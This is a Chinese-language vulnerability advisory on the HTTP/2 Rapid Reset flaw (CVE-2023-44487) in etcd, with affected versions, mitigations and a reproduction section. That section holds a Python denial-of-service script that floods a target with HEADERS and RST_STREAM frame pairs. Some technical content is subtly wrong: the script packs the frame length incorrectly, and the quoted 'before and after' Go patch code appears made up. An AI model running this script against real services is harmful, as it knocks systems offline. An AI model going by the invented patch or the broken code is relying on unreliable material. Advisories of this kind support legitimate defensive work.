一、漏洞简介

1.1 漏洞背景

2023年8月,Cloudflare、Google 和 AWS 共同发现了一种新型的 DDoS 攻击方式,利用 HTTP/2 协议的特性发起大规模拒绝服务攻击。该攻击被称为 "HTTP/2 Rapid Reset" 攻击,攻击峰值达到了创纪录的 3.98 亿次请求/秒。etcd 由于使用 gRPC(基于 HTTP/2)也受此漏洞影响。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-44487
危害等级 HIGH / 7.5
漏洞类型 HTTP/2 Rapid Reset DoS 攻击
披露时间 2023-10-10
影响组件 etcd 安全
项目 内容
CVE 编号 CVE-2023-44487
危害等级 高危
CVSS 评分 7.5 (High)
漏洞类型 拒绝服务攻击 (DoS)
影响范围 所有使用 HTTP/2 协议的服务,包括 etcd

补充核验信息:公开时间:2023-10-10;NVD 评分:7.5(HIGH);CWE:CWE-400。

二、影响范围

2.1 受影响的版本

  • etcd 3.4.x(使用 Go 1.20.10 之前的版本)
  • etcd 3.5.x(使用 Go 1.20.10 之前的版本)
  • etcd main 分支(使用 Go 1.21.3 之前的版本)

2.2 不受影响的版本

  • etcd 使用 Go 1.21.3+ 或 Go 1.20.10+
  • etcd 使用 gRPC-go v1.58.3+
  • etcd 使用 golang.org/x/net v0.17.0+

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  • etcd 服务暴露在网络中
  • 攻击者能够建立 HTTP/2 连接
  • 服务器资源有限(CPU、内存、连接数)

三、漏洞详情与原理解析

3.1 漏洞触发机制

HTTP/2 协议允许多路复用,即在一个 TCP 连接上可以并发多个请求流(Stream)。正常流程如下:

客户端                                      服务端
  |                                          |
  |--- Stream 1: HEADERS (请求) ------------>|
  |<-- Stream 1: HEADERS (响应) -------------|
  |<-- Stream 1: DATA (响应数据) ------------|
  |--- Stream 1: RST_STREAM (正常结束) ----->|
  |                                          |

Rapid Reset 攻击流程:

客户端 (攻击者)                           服务端
  |                                          |
  |--- Stream 1: HEADERS ------------------->
  |--- Stream 1: RST_STREAM (立即取消) ----->|
  |--- Stream 2: HEADERS ------------------->
  |--- Stream 2: RST_STREAM (立即取消) ----->|
  |--- Stream 3: HEADERS ------------------->
  |--- Stream 3: RST_STREAM (立即取消) ----->|
  |         ... 快速循环数千次 ...            |
  |                                          |
  |                                    [资源耗尽]
  |                                    [服务不可用]

攻击者利用 HTTP/2 的 RST_STREAM 帧特性: 1. 立即发送请求(HEADERS 帧) 2. 紧接着发送取消请求(RST_STREAM 帧) 3. 服务器已分配资源但请求被取消 4. 快速重复此过程,消耗服务器资源

3.2 源码层面的根因分析(结合源码与补丁对比)

Go 语言 HTTP/2 实现问题:

// golang.org/x/net/http2 之前的实现
func (sc *serverConn) processResetStream(f *RSTStreamFrame) error {
    // 处理 RST_STREAM 时,没有足够的速率限制
    sc.closeStream(sc.streams[f.FrameHeader.StreamID])
    return nil
}

修复后的实现增加了速率限制:

// 修复后的代码
func (sc *serverConn) processResetStream(f *RSTStreamFrame) error {
    // 增加速率限制检查
    if sc.rateLimiter != nil && !sc.rateLimiter.Allow() {
        return sc.countError("reset_rate_limited",
            connectionError(ErrCodeEnhanceYourCalm))
    }

    sc.closeStream(sc.streams[f.FrameHeader.StreamID])
    return nil
}

etcd 相关依赖版本修复:

组件 受影响版本 修复版本
Go < 1.21.3 / < 1.20.10 1.21.3 / 1.20.10
golang.org/x/net < 0.17.0 0.17.0
google.golang.org/grpc < 1.58.3 1.58.3

四、漏洞复现(可选)

4.1 环境搭建

# 启动易受攻击的 etcd 版本
docker run -d --name etcd-vulnerable \
  -p 2379:2379 \
  gcr.io/etcd-development/etcd:v3.5.8 \
  /usr/local/bin/etcd \
  --listen-client-urls http://0.0.0.0:2379 \
  --advertise-client-urls http://0.0.0.0:2379

4.2 PoC 演示与测试过程

概念验证代码(仅用于测试):

#!/usr/bin/env python3
# 仅供安全测试使用

import socket
import struct

def build_http2_frame(frame_type, flags, stream_id, payload):
    """构建 HTTP/2 帧"""
    length = len(payload)
    header = struct.pack('>I', length)[:3]  # 3字节长度
    header += bytes([frame_type, flags])
    header += struct.pack('>I', stream_id)[:4]  # 4字节流ID
    return header + payload

def build_headers_frame(stream_id, headers_data):
    """构建 HEADERS 帧"""
    return build_http2_frame(0x01, 0x04, stream_id, headers_data)

def build_rst_stream_frame(stream_id, error_code=0x00):
    """构建 RST_STREAM 帧"""
    payload = struct.pack('>I', error_code)
    return build_http2_frame(0x03, 0x00, stream_id, payload)

def rapid_reset_attack(target, port, num_streams=10000):
    """Rapid Reset 攻击演示"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))

    # 发送 HTTP/2 连接预检
    sock.sendall(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')

    # 发送 SETTINGS 帧
    settings = build_http2_frame(0x04, 0x00, 0, b'')
    sock.sendall(settings)

    # Rapid Reset 攻击
    for i in range(num_streams):
        stream_id = (i * 2) + 1  # 客户端使用奇数流ID

        # 发送 HEADERS
        headers = build_headers_frame(stream_id, b'\x00\x00\x00\x01')
        sock.sendall(headers)

        # 立即发送 RST_STREAM
        rst = build_rst_stream_frame(stream_id)
        sock.sendall(rst)

    sock.close()

# 注意:此代码仅用于安全测试,请勿用于非法用途

五、修复建议与缓解措施

5.1 官方版本升级建议

升级 Go 版本:

# 升级到 Go 1.21.3 或更高版本
wget https://go.dev/dl/go1.21.3.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.21.3.linux-amd64.tar.gz

升级 etcd 依赖:

# 对于 etcd 3.5.x,升级到包含修复的版本
# 参考 PR #16739, #16743, #16746

# 升级 gRPC 和 net 库
go get golang.org/x/net@v0.17.0
go get google.golang.org/grpc@v1.58.3

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:使用 DDoS 防护服务

# 部署 Cloudflare 或其他 DDoS 防护
# 在 etcd 前端部署反向代理

方案二:连接速率限制

# iptables 限制连接速率
iptables -A INPUT -p tcp --dport 2379 -m connlimit \
  --connlimit-above 50 -j DROP

# 或使用 conntrack 限制
iptables -A INPUT -p tcp --dport 2379 -m conntrack \
  --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 2379 -m conntrack \
  --ctstate NEW -m recent --update --seconds 60 --hitcount 100 -j DROP

方案三:限制最大并发流

// 在 etcd 配置中添加
--max-concurrent-streams=250

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料